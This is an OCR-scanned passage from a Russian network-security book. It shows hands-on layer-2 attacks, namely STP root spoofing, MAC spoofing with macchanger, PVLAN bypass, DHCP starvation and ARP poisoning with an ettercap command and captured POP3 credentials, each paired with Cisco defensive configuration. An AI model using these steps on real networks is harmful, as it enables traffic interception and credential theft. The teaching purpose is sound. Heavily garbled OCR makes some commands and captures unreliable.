1 . 1 .Q. з�кm•ч�ниt: 

Протокол STP ( Spanning Tree Protocol) предназначен для предот
вращения зацикливания пакетов в сети при наличии дублирующих 
маршрутов.  Работает это следующим образом. Сначала производится 
обнаружение коммутаторов, которые связаны между собой. Затем 
выбирается Root Bridge, главный, корневой коммутатор. Далее но 
специальному алгоритму будут заблокированы порты коммутатора, 
которые создают петли в получившейся топологии. 

Для построения древовидной структуры сети без нетель в сети 
должен быть определен корневой коммутатор (root switch), от ко
торого и строится это дерево. В качестве корневого коммутатора 
выбирается коммутатор с наименьшим значением идентификатора. 
Идентификатор коммутатора - это число длиной восемь байт, шесть 
младших байтов которого составляет МАС-адрес его блока управле
ния, а два старших байта конфигурируются вручную. Это позволяет 
администратору сети влиять на процесс выбора корневого коммута
тора. Если администратор не вмешается в данный процесс, корневой 
коммутатор будет выбран случайным образом - им станет устрой
ство с минимальным МАС-адресом блока управления. Такой выбор 
может оказаться далеко не рациональным. Поэтому следует выбрать 
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корневой коммутатор,  исходя из имеющейся топологии сети, и на
значить ему вручную наименьший идентификатор. При автоматиче
ском выборе корневым становится коммутатор с меньшим значением 
МАС-адреса его блока управления. Далее для каждого коммутатора 
определяется корневой порт (root port) - это порт, который имеет но 
сети кратчайшее расстояние до корневого коммутатора. Для каждого 
логического сегмента сети выбирается так называемый назначенный 
мост ( designated bridge ), один из портов которого будет принимать 
пакеты от сегмента и передавать их в направлении корневого моста 
через корневой порт данного моста. 

Что может предпринять атакующий? Он может, так же как и в пре
дыдущем примере, притвориться коммутатором, направить в сторону 
атакуемого коммутатора ВРDU-накет, в котором может подделать 
приоритет, МАС-адрес, для того чтобы самому стать корневым ком
мутатором и с его помощью перехватить сетевой трафик. Корневым 
коммутатором становится тот, у которого самый высокий приоритет. 
В случае если приоритет у нескольких коммутаторов одинаковый, то 
для выбора корневого коммутатора используется МАС-адрес, у кого 
он меньше, тот и становится корневым. 

Проведем небольшую практическую работу но обнаружению 
МАС-адресов других машин и подмене МАС на своей. Для этого нам 
снова потребуется сниффер Wireshark. Необходимо, как и в примере 
с концентраторами, включить прослушивание сетевого интерфейса. 
Только теперь нас будет интересовать не НТТР-трафик, а STP. Нам 
следует выявить МАС-адрес корневого коммутатора. Для того что
бы получить эту информацию, необходимо знать топологию сети. 
Получить значение МАС-адреса корневого порта можно с помощью 
Wireshark (рис. 9) .  

Для того чтобы получить информацию о МАС-адресах, необхо
димо просмотреть значение нолей Source и Destination в заголовке 
перехваченного фрейма. Нас интересует источник, для поддельно
го адреса нашего коммутатора указываем меньший адрес, например 
уменьшенный на единицу, как в примере ниже. 

root@bt : -# macc h a n g e  r -mac=xx : хх : хх : хх : хх : хх - 1  e t h O  

C u r re n t  МАС : 00 : 1 6 : e c : f 1 : 45 : e 8 ( u n kn own ) 

Faked  МАС : хх : хх : хх : хх : хх : хх ( u n k nown ) 

Перестартуем сетевой интерфейс: 

root@bt : - # i f d own e t h O  

root@bt : - # i f u p  e t h O  

I n t e r n e t  S y s t e m s  Co n s o r t i u m  D H C P  C l i e n t  VЗ . 1 . 1  

Copy r i g h t  2004-2008  I n t e r n e t  Systems  Co n s o rt i u m . 
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" 
"--mo' 

10875 1296. 150073 192 . 168 . l . 5  ВRCWSER Domai n/Wo rkg roup Announcement WOF>КGROLP, NТ Warkstat;on,  Domain Enum 
5panning - t r e e - ( f o r - b r : SТ P  Conf . RD o t = 32768/0/48 : 5Ь : 39 : 00 : 04 : 96 Cost = O  Port = OxВOOl 

192 . 168 . l . 3  Encrypted Alert 
10876 1200. 306407 AsustekC_00 : 04 : 9 6  

10877 1297. 375326 87. 250 . 25 1 . 87 
10870 1297. 375362 192 . 168 . l . 3  38056 > h ttps [ACK] Seq=4323 Ack=24013 Win=б4l28 Len=O TSV=4882бl TSER=26522l5ll 

1297.�20 87. 250 . 25 1 .  "'-"32Э Ф>lSЭS2. n..O SV�lS1 1 T� 

Enc rypted Ale rt 
10880 1297.412931 192 . 168 . l . 3  
10081 1297.758916 77 . 88 . 21 . 25 
10882 1297. 758950 192 . 168 . l . 3  
10883 1297. 750008 77 . 88 . 2 1 .  

77 . 88 . 21 . 25 
1 � . 168. 1 . З  

ТСР б0609 > h ttps [ACК] Seq=l9049 Ack=35446 Win=64128 Len=!J TS\t'=488376 TSER=l970554959 
ТСР ht s. 8ОбО9 F!l>i АО< S. "35445 Ас аl!Ю49 Wil'l<>4884 =О TSV"19� Т 

б0609 > h ttps [АСК] Seq-l9049 Ack-35447 Win=64128 Len=!J TS\t'-488388 TSER=l970554959 �. 
10885 1298. 306905 AsustekC_00 : 04 : 9 6  Spanning - t r ee - ( f o r - b r : SТ P  Conf . R o o t  = 32768/О/48 : 5Ь : 39 : 00 : 0 4 : 96 C o s t  = О  P o r t  = Ox800l 

+1 *••* н4ущи+ •• р1• щwшш шмsт;м1+1+ а ,+111wti&••·R'E*�H Н· +•sим• 'IH:!! • • f Frame l088б: 64 bytes on wiгe ( 5 12 Ьit s ) , 64 byte!i captured ( 5 1 2  b i t s )  ---� 

�����e�i���a�,��s:�k��OO��� : � ��� : :Ь : 39 : 00 : 04: 96) , Dst :  Spanning - t re e - ( f o r - b r i d g e s ) _OO ( 0 1 : 80 :  с2 : ОО : ОО : ОО) 

Logн;al - Ll n k  Cont r o l  

Spanmng Tree Protocal 

с1 оо с2 00 00 00 4в SЬ 39 00 04 оо в1 00 00 00 . . . . . .  Н [ 9 . .  
0010 00 26 42 42 03 00 00 00 00 00 80 00 48 5Ь 39 00 . . . . . . .  Н [ 9 .  0020 04 96 00 00 00 00 ВО ОО 4В 5Ь 39 00 04 96 00 0l . . . . . . . .  Н [ 9  . .  

8l etho : < l ive capture in p rogress> Fil ) I Packets : lOBBб Disp layed : l088б Marked : O 

Рис. 9. Перехваченный SТР-френм 

A l l  r i g h t s  r e s e rved . 

Fo r i n f o ,  p l e a s e  v i s i  t h t t p : //www . i s c . o rg / sw/d h c p/ 

L i s te n i n g  on L P F/eth 0/04 : 2 f · 1 1 : 6 5 · fc : Оа  

S e n d i n g  o n  L P F  /eth 0/04 · 2 f : 1 1  · 6 5 : fc  · Оа  

S e n d i n g  o n  S o c ket/f a l l b a c k  

D H C P D I SCOVER  o n  e t h O  to  2 5 5 . 2 5 5 . 2 5 5  2 5 5  po rt 67  i n t e rval 3 

D H C PO F F E R  of 1 9 2 1 6 8 . 1 8 f rom 1 9 2 . 1 6 8 . 1 . 1 0 1 

D H C P R EOU EST of 1 9 2 .  1 6 8  1 .  8 on e t h O  to 2 5 5 . 2 5 5 . 2 5 5  2 5 5  p o r t  67  

D H C PACK o f  1 9 2 . 1 6 8 . 1 . 8  f rom  1 9 2 . 1 6 8  1 . 1 0 1  

b o u n d  

i f - u p .  

i f - u p .  

i f - u p .  

i f - u p .  

to  1 9 2 . 1 6 8 . 1 . 8  - -

d/mou n t n f s [ e t h O ] : 

d/mou n t n f s [ e t h O ] : 

d/mou n t n f s [ e t h O ] : 

d/mou n t n f s [ e t h O ] : 

r e n ewal i n  

wai t i n g  fo  r 

wai t i n g  fo  r 

wai t i n g  fo  r 

wai t i n g  fo  r 

42928  s e c o n d s .  

i n t e rface  e t h 1  b efo re d o i n g  

i n t e rface  e t h 2  befo re d o i n g  

i n t e rface  athO  befo re d o i n g  

i n t e rface  wlanO  befo re  d o i n g  

] I Profile : Defau lt 

N FS m o u n t s  

N FS m o u n t s  

N FS m o u n t s  

N FS m o u n t s  

По умолчанию нриоритеты должны быть одинаковые, соответ
ственно, нротокол STP выберет для маршрута норты с наименьшим 
МАС. 

Тенерь злоумышленнику необходимо отнравить BPD U -накет, в ко
тором указать свой идентификатор коммутатора. Другие коммутато-
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ры в ответ также отнравят свои идентификаторы, и если идентифика
тор, отнравленный злоумышленником, будет содержать наименьший 
МАС, то нри равных нриоритетах он будет выбран корневым. 

Сформировать ноддельный ВРDU-накет можно следующим об
разом (рис. 1 0): 

File H e l p  

� �'.;. -;.;. ;... Ев � t"..; g Bu i lder Gen-b G e n - s  Р�ар Load Save Default oefault 

Li п k layer--

@ ve r l l  

rМAC H eade r�--�r;:::;=-i 1 f D " t ' " ' ' ° '  1 � 1 
Q во2 .з 

О 802.lq Ethertype ox� I  User defined j ... j 
с=в9 1 I ПБ1" 1 l 

№xt l<Jyer ---> О 1Pv4 Q Arp pac ket @ Us e r defined payl o a d  1 

Patt e rn D 
Length � 

@ о 

о 
о 

Рие. JO. Конструктор пакетов РасkЕТН 

- 1 

В окне конструктора накетов PackEth необходимо указать МАС
адреса источника накетов и нолучателя. Адрес источника следует 
указывать ноддельный. 

В ноле User defined network payload указываются следующие зна
чения: 

О Идентификатор версии нротокола STA - 2 байта. Коммутаторы 
должны ноддерживать одну и ту же версию нротокола STA, 
иначе может установиться активная конфигурация с нетлями. 

О Тин BPDU - 1 байт. Существуют два тина BPDU - конфигура
ционный BPDU,  то есть заявка на возможность стать корневым 
коммутатором, на основании которой нроисходит онределение 
активной конфигурации, и ВРDU-уведомление о реконфигу-
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рации, которое посылается коммутатором, обнаружившим со
бытие, требующее проведения реконфигурации, - отказ линии 
связи, отказ порта, изменение приоритетов коммутатора или 
портов. 

О Флаги - 1 байт. Один бит содержит флаг изменения конфигу-
рации, второй - флаг подтверждения изменения конфигурации. 

О Идентификатор корневого коммутатора - 8 байт. 
О Расстояние до корня - 2 байта. 
О Идентификатор коммутатора - 8 байт. 
О Идентификатор порта - 2 байта. 
О Время жизни сообщения - 2 байта. Измеряется в единицах но 

0,5 с, служит для выявления устаревших сообщений. Когда па
кет BPDU проходит через коммутатор, тот добавляет ко вре
мени жизни пакета время его задержки данным коммутатором. 

О Максимальное время жизни сообщения - 2 байта. Если пакет 
BPDU имеет время жизни, превышающее максимальное, то он 
игнорируется коммутаторами. 

О Интервал hello, через который посылаются пакеты BPDU. 
О Задержка смены состояний - 2 байта. Задержка определяет ми

нимальное время перехода портов коммутатора в активное со
стояние. Такая задержка необходима, чтобы исключить возмож
ность временного возникновения нетель при неодновременной 
смене состояний портов во время реконфигурации. У пакета 
ВРDU-уведомления о реконфигурации отсутствуют все ноля, 
кроме двух первых. 

О Отправить составленный пакет можно, нажав Send. 

Если на предыдущих шагах мы правильно вычислили МАС других 
участников STP, то но идее алгоритм этого протокола должен пере
считать маршруты так, чтобы весь трафик был отправлен на наш 
поддельный порт. Для того чтобы не оказаться обнаруженным, хакеру 
необходимо будет обеспечить доставку трафика через свою машину 
далее к месту назначения, так как в противном случае весь трафик 
будет уходить в никуда и факт подделки МАС будет быстро обнару
жен. Однако эту задачу в рамках данной главы мы решать не будем. 

Какие меры необходимо предпринять, чтобы избавиться от этой 
уязвимости? 

Прежде всего необходимо запретить хождение ВРDU-накетов 
с портов,  на которых нет никаких коммутаторов. И в случае если 
такой пакет все же пришел, переводить этот порт в режим shutdown. 
Затем следует обезопасить наш корневой коммутатор, чтобы ни при 
каких условиях не мог быть выбран другой корневой коммутатор,  
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в том числе и атакующий. Атакующему не составит большого труда 
поставить приоритет выше, чем у настоящего главного коммутатора, 
и МАС-адрес поменьше, чтобы гарантировать, что атакующий пред
ставляется root. 

Для решения данной задачи нам необходимо перевести все пор
ты коммутатора в специальный режим STP, который называется 
portfast. После этого клиент, подключенный к такому порту, не бу
дет принимать участия в разрешении маршрутов но алгоритму STP 
(это может занять достаточно много времени, до 40 секунд на по
строение топологии сети) ,  и лишь после этого начнут передаваться 
пользовательские данные через порт. По умолчанию режим portfast 
на коммутаторах Cisco отключен, так что нам придется его сконфи
гурировать вручную. Также настроим отключение порта в случае 
получения ВРDU-накета. 

Swi t c h #  c o n f  t 

Swi t c h  ( c o n f i g ) #  i n t  r a n g e  f0/ 1 - 2 4  

Swi t c h  ( c o n f i g - i f - ran g e ) #  s p a n n i n g - t ree  po rtfast  

Switc h ( co n f i g ) #  s p a n n i n g - t re e  po rtfast  b pg u a rd d e f a u l t  

Switc h ( co n f i g ) #  i n t  f0/1  

Swi t c h  ( c o n f ig - i f ) #  s p a n n i n g - t ree  g u a rd root 

Содержимое первых двух строк нам знакомо но предыдущим при
мерам. В третьей мы включаем режим portfast. Далее указываем, что 
на этих портах хождение ВРDU-накетов противопоказано.  И по 
следние две команды выполняются для защиты root bridge.  То есть 
мы предполагаем, что другой коммутатор подключен к нашему но 
порту f0/1 и, соответственно, необходимо его использовать в качест
ве root. 

Теперь даже если злоумышленник направит в сторону коммута
тора ВРDU-накет с максимальным приоритетом и меньшим МАС
адресом, он все равно не сможет стать корневым коммутатором и 
перенаправить весь трафик через себя. 

2.2. 5. МАС Spoofing 

Данный тин атак реализуется путем подделывания МАС-адреса, на
пример атакующий может подделать МАС-адрес, который использо
вал другой хает сети. Злоумышленник может использовать эту атаку 
для осуществления сбора конфиденциальной информации. 

Для реализации данной атаки, как и в предыдущих примерах, мож
но воспользоваться утилитой macchanger. 

root@bt # mac c h a n g e r -r  сете в о й_ада nтер 
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В результате МАС-адрес указанного сетевого адаптера будет на 
случайное значение. 

root@bt # macc h a n g e  r - mac=xx : хх : хх : хх : хх : хх сете в о й_адаnте р 

А в этом случае МАС-адрес будет заменен на нужное значение. 
Для того чтобы предотвратить данный тин атаки, необходимо вы

полнить меры, описанные ранее, в разделе, посвященном переполне
нию САМ -таблицы, то есть следует указать максимальное количество 
МАС-адресов на порту, указать действие, которое будет выполнено 
в случае нарушения нашей политики. 

Для указания статического МАС-адреса в режиме конфигуриро
вания интерфейса нужно выполнить: 

Swi t c h  ( c o n f ig - i f ) #  switc h p o rt  po r t - s e c u rity  m a c - ad d r e s s  4 3 2 1 . 43 2 1 . f a 1 2 

где 432 1 . 432 1 .fa 12  - МАС-адрес клиента. 

Swi t c h #  c o n f  t 

Switc h ( co n f i g ) #  i n t  r a n g e  f0/ 1 - 2 4  

Switc h ( co n f i g - i f - r a n g e ) #  switc h p o rt  mode  a c c e s s  

Switc h ( co n f i g - i f - r a n g e ) #  switc h p o rt  po r t - s e c u rity  

Switc h ( co n f i g - i f - r a n g e ) #  switc h p o rt  po r t - s e c u rity  violation  s h u t d own 

Switc h ( co n f i g - i f - r a n g e ) #  switc h p o rt  po r t - s e c u rity  maxi m u m  3 

Switc h ( co n f i g - i f - r a n g e ) #  a r p  t i m e o u t  60  

А этот пример аналогичен примеру в разделе о переполнении 
САМ-таблицы, но здесь добавляется ARP-timeout, то есть если в те
чение 60 секунд к одному подключатся более трех устройств , порт 
будет отключен. 

2.2. 6. Атака на PVLAN (Private VLAN) 

С помощью этой атаки злоумышленник может получить доступ к со
седнему устройству PVLAN посредством LЗ-устройства (маршрути
затора). 

В технологии PVLAN, в отличие от VLAN, порты могу находиться 
в трех режимах: isolated, promiscuus, community. Isolated-нopты не 
могут передавать данные в своем VLAN между клиентами. Данные 
могут передаваться только между портами Isolated и Promiscuous. 

Порты promiscuous - это порты PVLAN, в которые можно пере
давать данные со всех портов Isolated и Community, как и в обычном 
VLAN. 

Community - это группы портов, между членами которых можно 
передавать данные, можно назвать VLAN во VLAN. 
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Если атакующему доступно устройство Layer 3 (например, марш
рутизатор) ,  он может установить связь между клиентами, которые 
находятся в одном PVLAN, между портами isolated. Для реализации 
данной атаки пользователь может подделать пакет, в котором он ука
жет в IР-адресе назначения необходимое ему устройство, находящее
ся на другом порту isolated, источник останется без изменения, а вот 
в качестве МАС-адреса назначения он укажет МАС-адрес устройства 
LЗ. Данное устройство, получив пакет, переправит его но указанному 
адресу. Принимающая сторона может сделать то же самое - таким 
образом обеспечить передачу данных между isolated-нopтaми. 

В качестве примера предлагаю утилиту, исходный код которой 
представлен в статье http ://www.scribd .com/doc /527 4 1 687 / 1 3 /  
Private-VLAN -PVLAN -attack. Дабы н е  загромождать статью исход
ными кодами, я не стал приводить листинг программы здесь. Данная 
утилита позволяет сгенерировать фрейм с поддельным МАС-адресом 
для осуществления атаки на PVLAN. 

Для предотвращения атак данного тина необходимо на устройстве 
LЗ создать специальный Acess List, в котором запрещается прямая 
передача данных между сегментом сети. 

r o u t e  r#  c o n f  t 

r o u t e r ( c o n f i g ) #  i p  acce s s - l i s t  exte n d e d  v l a n  

r o u t e r ( c o n f i g -ext - n a c l ) #  d e n y  i p  1 0 . 0 . 0 . 0  0 . 0 . 0 . 2 5 5  

r o u t e r ( c o n f i g -ext - n a c l ) #  pe rmit  any  a n y  

r o u t e r ( c o n f i g -ext - n a c l ) #  e x i t  

r o u t e  r (  c o n f i g  ) #  i n t  f 0 / 1  

r o u t e r ( c o n f i g - i f ) #  i p  acc e s s - g r o u p  pvlan  i n  

Действия, приведенные в этом примере, должны выполняться на 
LЗ-устройстве - маршрутизаторе. Был создан список управления 
доступом под названием PVLAN, в котором указывается, что с сети 
1 0.0 .0 .0/24 запрещено передавать данные в 1 0.0. 0.0/24, все остальное 
разрешено. И этот список доступа последней командой был связан 
с интерфейсом fO / 1 .  

2.2. 7. Атака на DHCP 

Атаковать DНСР-сервер можно несколькими различными способами. 
1. Злоумышленник может сформировать и послать DНСР-серверу 

огромное количество D Н СР-занросов с разными МАС-адресами. 
Сервер будет выделять IР-адреса из пула, и рано или поздно весь 
DНСР-нул закончится, после чего сервер не сможет обслуживать 
новых клиентов.  По сути, это DоS-атака, так как нарушается раба-
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тоснособность сети. Метод борьбы с подобными атаками называется 
DHCP Snooping. Данный метод заключается в следующем. Когда 
коммутатор получает пакет, то он сравнивает МАС-адрес, указанный 
в DНСР-занросе, с МАС-адресом, который был прописан на порту 
коммутатора. Если адреса совпадают, то коммутатор отправляет па
кет дальше, если не совпадают, то пакет отбрасывается. 

2 .  Злоумышленник может также развернуть свой DНСР-сервер и 
выдавать свои настройки пользователям сети (может указать любой 
DNS, Gateway и т. д. ) и воспользоваться уже но своему усмотрению, 
начиная от прослушивания трафика до подделки DNS-ответов и т. д. 

Для того чтобы на D Н С Р-занросы отвечал именно сервер зло
умышленника, ему необходимо предварительно вывести из строя 
легальный DНСР-сервер с помощью способа, описанного в пункте 1 .  

Практические действия для реализации данной атаки аналогич
ны представленным в разделе, посвященном переполнениям САМ -
таблицы. При смене МАС-адреса и перезапуске сетевого интерфейса 
производится запрос к DНСР-сереверу для получения нового IР
адреса. 

В технологии D H C P  Snooping есть понятие доверительных 
(trusted) и недоверительных (untrusted) портов. Для первых разре
шено получение DНСР-ответов DHCPOFFER, для вторых получе
ние ответов запрещено. 

Настроим DHCP Snooping для VLAN 10 на интерфейсе f0/1 .  

Switc h ( co n f i g ) #  i p  d h c p  s n o o p i n g  

Switc h ( co n f i g ) #  i p  d h c p  s n o o p i n g  v l a n  1 0  

Switc h ( co n f i g ) #  i n t  f0/1  

Switc h ( co n f i g - i f ) #  i p  dhcp  s n o o p i n g  t r u s t  

В данном примере интерфейс подключен непосредственно 
к DНСР-серверу, поэтому на нем мы включили режим trust. 

Также можно включить или выключить опцию 82 DHCP, которая 
отвечает за информацию relay, то есть через какие коммутаторы про
шел данный пакет. 

Switc h ( co n f i g ) #  ip d h c p  s n o o p i n g  i n f o rmation  o p t i o n  

Еще одно средство - это ограничение числа DНСР-занросов в се
кунду. Установим ограничение на 1 00 запросов. 

Switc h ( co n f i g ) #  int f0/1  

Switc h ( co n f i g - i f ) #  ip d h c p  s n o o p i n g  l i m i t  rate 1 0 0 

Однако к настройке ограничений нужно относиться с осторожно
стью, так как в случае превышения заданного значения запросы будут 
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отклонены. В начале рабочего дня, когда множество нользователей 
одновременно включают свои комньютеры и нолучают IР-адреса но 
DHCP, это ограничение может нривести к задержкам и нроблемам 
нри входе в сеть. 

ARP spoofing (ARP Cache poisoning) - это атака, иснользуемая для 
нрослушивания сети, настроенной на коммутаторах. 

ARP (а н гл . Add ress Resolut ion P rotocol  - протокол оп ределения  адре
са ) - испол ьзующийся в компьютер ных сетях п р отокол низко го уровня ,  
предназначен н ы й  для оп редел ения  адреса ка нального уровня  по  из
вестному адресу сетевого уровня .  

Суть этой атаки заключается в следующем. Злоумышленник насы
лает ложные АRР-накеты, для того чтобы убедить комньютер жертвы 
в том, что нрослушивающий комньютер и есть конечный адресат. Да
лее накеты с комньютера жертвы нерехватываются и нересылаются 
реальному нолучателю, mас -адрес отнравителя в них нодменяется, 
чтобы ответные накеты тоже шли через нрослушивающий комнью
тер. Прослушивающий комньютер становится «шлюзом>,> для трафи
ка жертвы, и злоумышленники нолучают возможность нрослушивать 
трафик, осуществляя атаку «человек носередине>,> (рис. 1 1  ). 

Стоит отметить, что нри нонытке нрослушать трафик нескольких 
активно общающихся комньютеров и,  соответственно, возникающем 

Рие. J J . Так схематнческн выглядит 
подмена МАС-адреса 
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при этом переполнении АРR-таблиц возможны перегрузка и,  как 
следствие, падение сети. Это, помимо прочего, чревато обнаружением 
атаки. 

Также стоит отметить, что данная атака может быть реализована 
только при наличии доступа в локальную сеть. То есть злоумышлен
нику, находящемуся за пределами локальной сети, не удастся осу
ществить ARP Spoofing. Для реализации этой атаки ему придется 
сначала захватить контроль над одной из машин, находящейся в кор
поративной локальной сети, а уже потом с этой машины осуществ
лять отравление АRР-кеша. Согласитесь, не самый простой способ 
реализации атаки. 

Проведем небольшую практическую работу но реализации АRР
снуфинга. 

Итак, какие у нас будут исходные данные. 
Имеются несколько компьютеров, подключенных к коммутатору. 

Нам необходимо перехватить трафик, который передается между эти
ми машинами. Если мы воспользуемся утилитой tcpdump, описанной 
ранее, мы сможем увидеть только пакеты, идущие от или к нашей ма
шине. Согласитесь, не очень информативно. Для того чтобы прослу
шать трафик, идущий к другим хостам, нам необходимо произвести 
�отравление� ARP кеша. Для решения этой задачи нам потребуются 
специальные сниферы. 

В нашем примере мы воспользуемся утилитой ettercap (http:// 
ettercap.sourceforge.net ) .  Это приложение имеет редакции как под 
Windows-, так и под *niх-нлатформы. 

Перехват может быть осуществлен аж тремя способами. И если 
стандартные МАС- и IР-варианты нас не особо интересуют, то ARP 
poisoning based sniffing является именно той функцией, которая нам 
необходима. При этом никаких усилий для ее применения не требу
ется: вся настройка сводится к указанию прослушиваемых машин 
в destination и source. 

Являясь посредником, можно не только перехватывать сетевые па
кеты, но и, используя средства ettercap'a, удалять или даже модифи
цировать их. Отдельно стоит отметить функцию перехвата паролей, 
идущих но зашифрованным S S H 1 ,  SSH2 и SSL/НТТРS-нротоколам. 
Для ее применения необходимо запускать программу со специаль
ными фильтрами (например, для ssh так: ettercap -F etter.filter.ssh). 

Теперь собственно практика. Для того чтобы прослушать трафик, 
которым обмениваются машины 192 . 1 68. 1 . 2  и 192 . 1 68. 1 . 254, необхо
димо выполнить следующую команду: 

root@bt # ette rcap  - Т  - М arp  -L  l o g  / 1 9 2 . 1 6 8 . 1 . 2/ / 1 9 2 . 1 6 8 . 1 . 2 54/ 
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О -Т - использовать текстовый (консольный) интерфейс ; 
О -М - использовать модуль ARP-spoofing'a для выполнения ата

ки; 
О -L log - записывать журнал перехвата в файлы с именем log. * .  

В качестве аргументов указываются IР-адреса машин, против ко
торых нужно выполнять атаку ARP-spoofing. 

Результат работы данной утилиты выводится на экран и записы
вается в текстовый файл. Для того чтобы остановить логирование, 
необходимо нажать q. Прерывать работу утилиты другими способами 
(например, Ctrl+Z) крайне нежелательно, так как тогда АRР-таблицы 
тех двух машин останутся отравленными. А так как программа-по
средник ettercap уже не будет функционировать, то связь между хос
тами пропадет, что будет выглядеть очень подозрительно. 

Для просмотра перехваченного трафика можно воспользоваться 
утилитой etterlog. Файл лога но умолчанию именуется log.eci. 

Вот так, например, могут выглядеть перехваченные учетные дан
ные к почтовому ящику электронной почты но протоколу РОР 3: 

ette r l o g  log . e ci  

ette r l o g  N G - 0 . 7 . 3  copy r i g h t  200 1 - 2004 ALoR  & N aGA 

Log f i l e  ve r s i o n  N G - 0 . 7 .  3 

Тimestamp  T h u  J a n  2 1  1 2 :  2 3 : 1 1  2 0 1 2 

Ту ре LOG_I N FO 

1 6 9 8  t c p  OS f i n g e r p r i n t  

7 5 8 7  m a c  v e n d o r f i n g e r p ri n t  

2 1 8 3 k n own se rvi c e s  

I P  add r e s s  1 9 2 . 1 68 . 1 5 . 2 

МАС ad d re s s  00 : 04 : 75 : 75 : 46 : В 1  

MANU FACTU R E R  S o h owa re 

D I STAN C E  О 

ТУР Е  LAN h o s t  

F I N G E R P R I N T  

O P ERAТI N G  SYSTEM 

PORT ТСР 1 1 0  1 

ACCOUNT  u se r  

/ p a s swo rd  

( 1 9 2 .  1 6 8 .  1 5 .  2 )  

U N K N OWN 

р о р - 3  [ ]  

Для предотвращения ARP-spoofing можно воспользоваться ути
литой arpwatch. Эта утилита позволяет зафиксировать атаку, однако 
она должна быть запущена на обеих атакуемых машинах, иначе зло-
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умышленник может попытаться осуществить одностороннюю атаку. 
Кроме того, arpwatch только фиксирует атаку, но не предотвращает 
ее. Для предотвращения необходима разработка дополнительных сце
нариев и обработчиков событий. 

Одним из возможных способов защиты является использование 
статического ARP. АRР-таблицу можно сформировать вручную, при 
этом она становится неуязвимой к АRР-атакам. Для этого нужно до
бавить необходимые МАС-адреса в таблицу. 

Если при этом отключить использование ARP на сетевых интерфей
сах, то доступны будут только те системы, ( 1) МАС-адреса которых 
добавлены в АRР-таблицу нашего узла и (2)  наш МАС-адрес добавлен 
в АRР-таблицы узлов, с которыми производится обмен трафиком. 

Если не отключать использование ARP на сетевых интерфейсах, 
МАС-адрес, заданный статически, имеет приоритет. Если МАС-адрес 
для какого-то IР-адреса не задан, используется АRР-занрос. 

Другими методами борьбы с ARP-spoofing'oм является исполь
зование шифрования, а также применение виртуальных локальных 
сетей VLAN. 

Компьютер злоумышленника может использовать ARP-spoofing 
против компьютера жертвы только в том случае, если они находятся 
в одной сети канального уровня. В том случае, если они разделены 
маршрутизатором, атака невозможна (возможна атака на маршрути
затор, но это совсем другое дело) .  

VLAN'ы помогают сегментировать сеть - превратить одну сеть во 
множество изолированных на канальном уровне фрагментов, которые 
соединены между собой маршрутизатором. Атака ARP-spoofing воз
можна только между компьютерами, находящимися в одном VLAN'e. 
В наиболее крайнем случае, когда в каждом VLAN'e находятся только 
два компьютера: собственно компьютер и маршрутизатор,  - атака 
ARP-spoofing становится невозможной в принципе. К сожалению, 
такая организация сети является очень требовательной к ресурсам 
маршрутизатора и используется редко. 

Одной из основных причин непопулярности данного способа за
щиты является необходимость поддержки VLAN коммутаторами, 
а также необходимость затраты времени на дополнительные настрой
ки сетевого оборудования. 

2.2. 5. МАС �Jlr.•finf 
Вот мы и рассмотрели основные виды атак на канальном уровне. 
Стоит отметить, что на сегодняшний день существует множество 
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средств для борьбы с угрозами на канальном уровне. Например, 
практически все современные коммутаторы обладают средствами 
для контроля МАС-адресов,  предотвращения переполнений и дру
гими средствами. Кроме того,  атаки на данном уровне широко из 
вестны, и даже если у вас используется оборудование не от Cisco, 
вы сможете без труда найти соответствующие инструкции для на
стройки защиты. 

Что касается описанных в этом разделе атак, то стоит заметить, что 
для их успешной реализации злоумышленнику необходимо иметь 
физический доступ к локальной сети. То есть хакер должен предва
рительно удаленно взломать машину, находящуюся в локальной сети 
(например, теми способами, которые будут описаны далее в книге), 
и затем с этого компьютера пытаться реализовать описанные атаки. 
Или же злоумышленником является один из сотрудников компании, 
имеющий доступ к локальной сети. Об этом необходимо помнить при 
подготовке плана сетевой защиты. 

Ну а мы перейдем к сетевому уровню. 

2.3 . Атаки на сетевом уро вне 
Говоря о безопасности н а  сетевом уровне, необходимо поговорить 
о маршрутизаторах и алгоритмах маршрутизации. А завершим этот 
раздел мы обсуждением использования IPSec в качестве средства 
защиты пакетов на сетевом уровне. 

2. 3. 1 .  Атаки на маршрутизаторы 

Маршрутизатором является устройство сетевого уровня эталонной 
модели OSI. Это устройство использует одну или более метрик для 
определения оптимального пути передачи сетевого трафика на осно
вании информации сетевого уровня. Метрики измеряются в коли
честве переходов, которые необходимо сделать пакету между различ
ными сетями для достижения узла назначения. Из этого определения 
вытекает, что маршрутизатор прежде всего необходим для опреде
ления дальнейшего пути данных, посланных в большую и сложную 
сеть. Пользователь такой сети отправляет свои данные в сеть и ука
зывает адрес своего абонента. Данные проходят но сети и в точках 
с разветвлением маршрутов поступают на маршрутизаторы, которые 
как раз и устанавливаются в таких точках. Маршрутизатор выбирает 
дальнейший наилучший путь. То, какой путь лучше, определяется 
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количественными показателями, которые называются метриками. 
Лучший путь - это путь с наименьшей метрикой. В метрике могут 
учитываться несколько показателей, например длина пути, время 
прохождения и т. д. 

Существуют несколько способов реализации маршрутизаторов. 
Маршрутизаторы бывают верхнего, среднего и нижнего классов. 

Маршрутизаторами верхнего класса являются высокопроизводи
тельные устройства, которые служат для объединения сетей пред
приятия. Они поддерживают множество протоколов и интерфейсов.  
Маршрутизаторы данного тина могут иметь до нескольких десятков 
портов локальных или глобальных сетей. 

Маршрутизаторы среднего класса используются для формирова
ния менее крупных сетевых объединений масштаба предприятия. 
Стандартная конфигурация таких устройств включает два-три порта 
локальных сетей и от четырех до восьми портов глобальных сетей. 
Такие маршрутизаторы поддерживают наиболее распространенные 
протоколы маршрутизации и транспортные протоколы. 

Устройства маршрутизации нижнего класса предназначаются для 
локальных сетей подразделений; они связывают небольшие офисы и 
филиалы с сетью предприятия. Типичная конфигурация: один порт 
локальной сети (как правило, Ethernet) и два порта глобальной сети, 
рассчитанные на низкоскоростные выделенные линии или коммути
руемые соединения. 

Стоит отметить, подобные маршрутизаторы пользуются большим 
спросом у администраторов, которым необходимо расширить имею
щиеся межсетевые объединения. Также подобные устройства часто 
используют в домашних сетях, когда необходимо организовать до
ступ в Интернет для нескольких машин. 

Маршрутизаторы для базовых сетей и удаленных офисов имеют 
разную архитектуру, поскольку к ним предъявляются разные функ
циональные и операционные требования. Используемые для базовых 
сетей маршрутизаторы обязательно должны быть расширяемыми. 
Устройства маршрутизации, применяемые для локальных сетей под
разделения, для которых, как правило, заранее устанавливается фик
